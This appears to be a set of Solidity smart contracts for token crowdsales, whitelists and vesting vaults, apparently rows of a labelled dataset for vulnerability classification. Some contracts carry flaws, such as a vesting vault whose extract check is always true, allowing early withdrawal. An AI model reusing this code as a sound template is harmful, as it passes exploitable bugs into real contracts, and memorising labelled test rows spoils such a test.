function setStartEndTimeTLP(uint256 _at) onlyOwner public {
require(block.timestamp < sT2);
require(block.timestamp < _at);
sT2 = _at;
SetStartTimeTLP2(_at);
}
function fundMinting(address to, uint256 amount) stopInEmergency public {
require(msg.sender == fundMintingAgent || isOwner());
require(block.timestamp < sT2);
require(fundTotalSupply.add(amount) <= fundTokens);
require(token.totalSupply().add(amount) <= hardCapInTokens);
fundTotalSupply = fundTotalSupply.add(amount);
token.mint(to, amount);
FundMinting(to, amount);
}
function calcAmountAt(
uint256 amount,
uint256 at,
uint256 _totalSupply
) public constant returns (uint256, uint256)
{
uint256 estimate;
uint256 price;
if (at >= sT2 && at <= (sT2+dTLP2)) {
if (at <= sT2 + 15 days) {price = 12e13;} else if (at <= sT2 + 30 days) {
price = 14e13;} else if (at <= sT2 + 45 days) {
price = 16e13;} else if (at <= sT2 + 60 days) {
price = 18e13;} else if (at <= sT2 + 75 days) {
price = 20e13;} else if (at <= sT2 + 90 days) {
price = 22e13;} else if (at <= sT2 + 105 days) {
price = 24e13;} else if (at <= sT2 + 118 days) {
price = 26e13;} else {revert();}
} else {revert();}
estimate = _totalSupply.add(amount.mul(1e18).div(price));
if (estimate > hardCapInTokens) {
return (
hardCapInTokens.sub(_totalSupply),
estimate.sub(hardCapInTokens).mul(price).div(1e18)
);
}
return (estimate.sub(_totalSupply), 0);
}
function() external payable {
return getTokens(msg.sender);
}
function getTokens(address contributor) payable stopInEmergency validPurchase public {
uint256 amount;
uint256 oddEthers;
uint256 ethers;
uint256 _at;
uint8 _winNum;
_at = block.timestamp;
require(contributor != 0x0);
if (withinPeriod()) {
(amount, oddEthers) = calcAmountAt(msg.value, _at, token.totalSupply());
require(amount.add(token.totalSupply()) <= hardCapInTokens);
ethers = msg.value.sub(oddEthers);
token.mint(contributor, amount);
TokenPurchase(contributor, ethers, amount);
counter_in = counter_in.add(ethers);
crowdTokensTLP2 = crowdTokensTLP2.add(amount);
if (oddEthers > 0) {
require(oddEthers < msg.value);
contributor.transfer(oddEthers);
TransferOddEther(contributor, oddEthers);
}
wallet.transfer(ethers);
} else {
require(msg.value >= minETHin);
_winNum = stageName();
require(_winNum >= 0 && _winNum < 5);
Window storage w = ww[_winNum];
require(w.tokenPerWindow > 0);
w.totalEthInWindow = w.totalEthInWindow.add(msg.value);
ppls[w.totalTransCnt].addr = contributor;
ppls[w.totalTransCnt].amount = msg.value;
w.totalTransCnt++;
TokenPurchaseInWindow(contributor, msg.value, _winNum, w.totalTransCnt, w.totalEthInWindow);
}
}
function closeWindow(uint8 _winNum) onlyOwner stopInEmergency public {
require(ww[_winNum].active);
ww[_winNum].active = false;
wallet.transfer(this.balance);
}
function sendTokensWindow(uint8 _winNum) onlyOwner stopInEmergency public {
uint256 _tokenPerETH;
uint256 _tokenToSend = 0;
address _tempAddr;
uint32 index = ww[_winNum].refundIndex;
TokenETH(ww[_winNum].totalEthInWindow, ww[_winNum].totalTransCnt);
require(ww[_winNum].active);
require(ww[_winNum].totalEthInWindow > 0);
require(ww[_winNum].totalTransCnt > 0);
_tokenPerETH = ww[_winNum].tokenPerWindow.div(ww[_winNum].totalEthInWindow);
while (index < ww[_winNum].totalTransCnt && msg.gas > 100000) {
_tokenToSend = _tokenPerETH.mul(ppls[index].amount);
ppls[index].amount = 0;
_tempAddr = ppls[index].addr;
ppls[index].addr = 0;
index++;
token.transfer(_tempAddr, _tokenToSend);
TokenWithdrawAtWindow(_tempAddr, _tokenToSend);
}
ww[_winNum].refundIndex = index;
}
function newWindow(uint8 _winNum, uint256 _tokenPerWindow) private {
ww[_winNum] = Window(true, 0, 0, 0, _tokenPerWindow);
NewWindow(_winNum, _tokenPerWindow);
}
function finishCrowd() onlyOwner public {
uint256 _tokenPerWindow;
require(now > (sT2.add(dTLP2)) || hardCapInTokens == token.totalSupply());
require(!token.mintingFinished());
_tokenPerWindow = (mintCapInTokens.sub(crowdTokensTLP2).sub(fundTotalSupply)).div(5);
token.mint(this, _tokenPerWindow.mul(5));
for (uint8 y = 0; y < 5; y++) {
newWindow(y, _tokenPerWindow);
}
token.finishMinting();
}
function vestingWithdraw(address withdrawWallet, uint256 withdrawTokens, uint256 withdrawTotalSupply) private returns (uint256) {
require(token.mintingFinished());
require(msg.sender == withdrawWallet || isOwner());
uint256 currentPeriod = (block.timestamp.sub(sT2.add(dTLP2))).div(VestingPeriodInSeconds);
if (currentPeriod > VestingPeriodsCount) {
currentPeriod = VestingPeriodsCount;
}
uint256 tokenAvailable = withdrawTokens.mul(currentPeriod).div(VestingPeriodsCount).sub(withdrawTotalSupply);
require((withdrawTotalSupply.add(tokenAvailable)) <= withdrawTokens);
uint256 _withdrawTotalSupply = withdrawTotalSupply.add(tokenAvailable);
token.transfer(withdrawWallet, tokenAvailable);
WithdrawVesting(withdrawWallet, currentPeriod, tokenAvailable, _withdrawTotalSupply);
return _withdrawTotalSupply;
}
function teamWithdraw() public {
teamTotalSupply = vestingWithdraw(teamWallet, _teamTokens, teamTotalSupply);
}
function advisoryWithdraw() public {
advisoryTotalSupply = vestingWithdraw(advisoryWallet, _advisoryTokens, advisoryTotalSupply);
}
function reservedWithdraw() public {
reservedTotalSupply = vestingWithdraw(reservedWallet, _reservedTokens, reservedTotalSupply);
}
} | 0 | 1,718 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Moderated {
address public moderator;
bool public unrestricted;
modifier onlyModerator {
require(msg.sender == moderator);
_;
}
modifier ifUnrestricted {
require(unrestricted);
_;
}
modifier onlyPayloadSize(uint256 numWords) {
assert(msg.data.length >= numWords * 32 + 4);
_;
}
function Moderated() public {
moderator = msg.sender;
unrestricted = true;
}
function reassignModerator(address newModerator) public onlyModerator {
moderator = newModerator;
}
function restrict() public onlyModerator {
unrestricted = false;
}
function unrestrict() public onlyModerator {
unrestricted = true;
}
function extract(address _token) public returns (bool) {
require(_token != address(0x0));
Token token = Token(_token);
uint256 balance = token.balanceOf(this);
return token.transfer(moderator, balance);
}
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return (size > 0);
}
function getModerator() public view returns (address) {
return moderator;
}
}
contract Token {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LEON is Moderated {
using SafeMath for uint256;
string public name = "LEONS Coin";
string public symbol = "LEONS";
uint8 public decimals = 18;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 internal totalSupply_;
uint256 public constant maximumTokenIssue = 200000000 * 10**18;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public ifUnrestricted onlyPayloadSize(2) returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public ifUnrestricted onlyPayloadSize(3) returns (bool) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return _transfer(_from, _to, _value);
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0x0) && _to != address(this));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public ifUnrestricted onlyPayloadSize(2) returns (bool sucess) {
require(allowed[msg.sender][_spender] == 0 || _value == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public ifUnrestricted onlyPayloadSize(2) returns (bool) {
require(_addedValue > 0);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public ifUnrestricted onlyPayloadSize(2) returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
require(_subtractedValue > 0);
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function generateTokens(address _to, uint _amount) public onlyModerator returns (bool) {
require(isContract(moderator));
require(totalSupply_.add(_amount) <= maximumTokenIssue);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0x0), _to, _amount);
return true;
}
function () external payable {
revert();
}
}
contract CrowdSale is Moderated {
using SafeMath for uint256;
LEON public tokenContract;
uint256 public constant crowdsaleTarget = 10000000 * 10**18;
uint256 public tokensSold;
uint256 public weiRaised;
uint256 public constant etherToLEONRate = 13000;
address public constant etherVault = 0xD8d97E3B5dB13891e082F00ED3fe9A0BC6B7eA01;
address public constant bountyVault = 0x96B083a253A90e321fb9F53645483745630be952;
VestingVault public vestingContract;
uint256 constant purchaseMinimum = 1 ether;
uint256 constant purchaseMaximum = 65 ether;
bool public isFinalized;
bool public active;
mapping (address => bool) internal whitelist;
event Finalized(uint256 sales, uint256 raised);
event Purchased(address indexed purchaser, uint256 tokens, uint256 totsales, uint256 ethraised);
event Whitelisted(address indexed participant);
event Revoked(address indexed participant);
modifier onlyWhitelist {
require(whitelist[msg.sender]);
_;
}
modifier whileActive {
require(active);
_;
}
function CrowdSale(address _tokenAddr) public {
tokenContract = LEON(_tokenAddr);
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address _purchaser) public payable ifUnrestricted onlyWhitelist whileActive {
require(msg.value > purchaseMinimum && msg.value < purchaseMaximum);
etherVault.transfer(msg.value);
weiRaised = weiRaised.add(msg.value);
uint256 _tokens = (msg.value).mul(etherToLEONRate);
require(tokenContract.generateTokens(_purchaser, _tokens));
tokensSold = tokensSold.add(_tokens);
Purchased(_purchaser, _tokens, tokensSold, weiRaised);
}
function initialize() external onlyModerator {
require(!isFinalized && !active);
require(tokenContract.getModerator() == address(this));
tokenContract.restrict();
active = true;
}
function finalize() external onlyModerator {
require(!isFinalized && active);
uint256 teamAllocation = tokensSold.mul(9000).div(10000);
uint256 bountyAllocation = tokensSold.sub(teamAllocation);
vestingContract = new VestingVault(address(tokenContract), etherVault, (block.timestamp + 26 weeks));
require(tokenContract.generateTokens(address(vestingContract), teamAllocation));
require(tokenContract.generateTokens(bountyVault, bountyAllocation));
Finalized(tokensSold, weiRaised);
isFinalized = true;
active = false;
}
function migrate(address _moderator) external onlyModerator {
require(isFinalized);
require(isContract(_moderator));
tokenContract.reassignModerator(_moderator);
}
function verifyParticipant(address participant) external onlyModerator {
whitelist[participant] = true;
Whitelisted(participant);
}
function revokeParticipation(address participant) external onlyModerator {
whitelist[participant] = false;
Revoked(participant);
}
function checkParticipantStatus(address participant) external view returns (bool whitelisted) {
return whitelist[participant];
}
}
contract VestingVault {
LEON public tokenContract;
address public beneficiary;
uint256 public releaseDate;
function VestingVault(address _token, address _beneficiary, uint256 _time) public {
tokenContract = LEON(_token);
beneficiary = _beneficiary;
releaseDate = _time;
}
function checkBalance() constant public returns (uint256 tokenBalance) {
return tokenContract.balanceOf(this);
}
function claim() external {
require(msg.sender == beneficiary);
require(block.timestamp > releaseDate);
uint256 balance = tokenContract.balanceOf(this);
tokenContract.transfer(beneficiary, balance);
}
function changeBeneficiary(address _newBeneficiary) external {
require(msg.sender == beneficiary);
beneficiary = _newBeneficiary;
}
function extract(address _token) public returns (bool) {
require(_token != address(0x0) || _token != address(tokenContract));
Token token = Token(_token);
uint256 balance = token.balanceOf(this);
return token.transfer(beneficiary, balance);
}
function() external payable {
revert();
}
} | 0 | 1,517 |
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract EthTranchePricing is PricingStrategy, Ownable {
using SafeMathLib for uint;
uint public constant MAX_TRANCHES = 10;
mapping (address => uint) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) {
if(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2) {
throw;
}
trancheCount = _tranches.length / 2;
uint highestAmount = 0;
for(uint i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
if((highestAmount != 0) && (tranches[i].amount <= highestAmount)) {
throw;
}
highestAmount = tranches[i].amount;
}
if(tranches[0].amount != 0) {
throw;
}
if(tranches[trancheCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public constant returns(bool) {
return true;
}
function getCurrentTranche(uint weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint weiRaised) public constant returns (uint result) {
return getCurrentTranche(weiRaised).price;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
if(preicoAddresses[purchaser] > 0)
return true;
else
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return value.times(multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice(weiRaised);
return value.times(multiplier) / price;
}
function() payable {
throw;
}
} | 0 | 965 |
pragma solidity ^0.4.11;
contract Crowdsale {
function buyTokens(address _recipient) payable;
}
contract CapWhitelist {
address public owner;
mapping (address => uint256) public whitelist;
event Set(address _address, uint256 _amount);
function CapWhitelist() {
owner = msg.sender;
}
function destruct() {
require(msg.sender == owner);
selfdestruct(owner);
}
function setWhitelisted(address _address, uint256 _amount) {
require(msg.sender == owner);
setWhitelistInternal(_address, _amount);
}
function setWhitelistInternal(address _address, uint256 _amount) private {
whitelist[_address] = _amount;
Set(_address, _amount);
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
using SafeMath for uint256;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) {
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint256;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
}
function finishMinting() onlyOwner public {
mintingFinished = true;
MintFinished();
}
}
contract RCNToken is MintableToken {
string public constant name = "Ripio Credit Network Token";
string public constant symbol = "RCN";
uint8 public constant decimals = 18;
string public version = "1.0";
}
contract PreallocationsWhitelist {
address public owner;
mapping (address => bool) public whitelist;
event Set(address _address, bool _enabled);
function PreallocationsWhitelist() {
owner = msg.sender;
}
function destruct() {
require(msg.sender == owner);
selfdestruct(owner);
}
function setWhitelisted(address _address, bool _enabled) {
require(msg.sender == owner);
setWhitelistInternal(_address, _enabled);
}
function setWhitelistInternal(address _address, bool _enabled) private {
whitelist[_address] = _enabled;
Set(_address, _enabled);
}
}
contract RCNCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public constant decimals = 18;
address public ethFundDeposit;
address public rcnFundDeposit;
bool public isFinalized;
uint256 public fundingStartTimestamp;
uint256 public fundingEndTimestamp;
uint256 public constant rcnFund = 490 * (10**6) * 10**decimals;
uint256 public constant tokenExchangeRate = 4000;
uint256 public constant tokenCreationCap = 1000 * (10**6) * 10**decimals;
uint256 public constant minBuyTokens = 400 * 10**decimals;
uint256 public constant gasPriceLimit = 60 * 10**9;
event CreateRCN(address indexed _to, uint256 _value);
mapping (address => uint256) bought;
CapWhitelist public whiteList;
PreallocationsWhitelist public preallocationsWhitelist;
RCNToken public token;
function RCNCrowdsale(address _ethFundDeposit,
address _rcnFundDeposit,
uint256 _fundingStartTimestamp,
uint256 _fundingEndTimestamp) {
token = new RCNToken();
whiteList = new CapWhitelist();
preallocationsWhitelist = new PreallocationsWhitelist();
assert(_ethFundDeposit != 0x0);
assert(_rcnFundDeposit != 0x0);
assert(_fundingStartTimestamp < _fundingEndTimestamp);
assert(uint256(token.decimals()) == decimals);
isFinalized = false;
ethFundDeposit = _ethFundDeposit;
rcnFundDeposit = _rcnFundDeposit;
fundingStartTimestamp = _fundingStartTimestamp;
fundingEndTimestamp = _fundingEndTimestamp;
token.mint(rcnFundDeposit, rcnFund);
CreateRCN(rcnFundDeposit, rcnFund);
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require (!isFinalized);
require (block.timestamp >= fundingStartTimestamp || preallocationsWhitelist.whitelist(msg.sender));
require (block.timestamp <= fundingEndTimestamp);
require (msg.value != 0);
require (beneficiary != 0x0);
require (tx.gasprice <= gasPriceLimit);
uint256 tokens = msg.value.mul(tokenExchangeRate);
uint256 checkedSupply = token.totalSupply().add(tokens);
uint256 checkedBought = bought[msg.sender].add(tokens);
require (checkedBought <= whiteList.whitelist(msg.sender) || preallocationsWhitelist.whitelist(msg.sender));
require (tokenCreationCap >= checkedSupply);
require (tokens >= minBuyTokens || (tokenCreationCap - token.totalSupply()) <= minBuyTokens);
token.mint(beneficiary, tokens);
bought[msg.sender] = checkedBought;
CreateRCN(beneficiary, tokens);
forwardFunds();
}
function finalize() {
require (!isFinalized);
require (block.timestamp > fundingEndTimestamp || token.totalSupply() == tokenCreationCap);
require (msg.sender == ethFundDeposit);
isFinalized = true;
token.finishMinting();
whiteList.destruct();
preallocationsWhitelist.destruct();
}
function forwardFunds() internal {
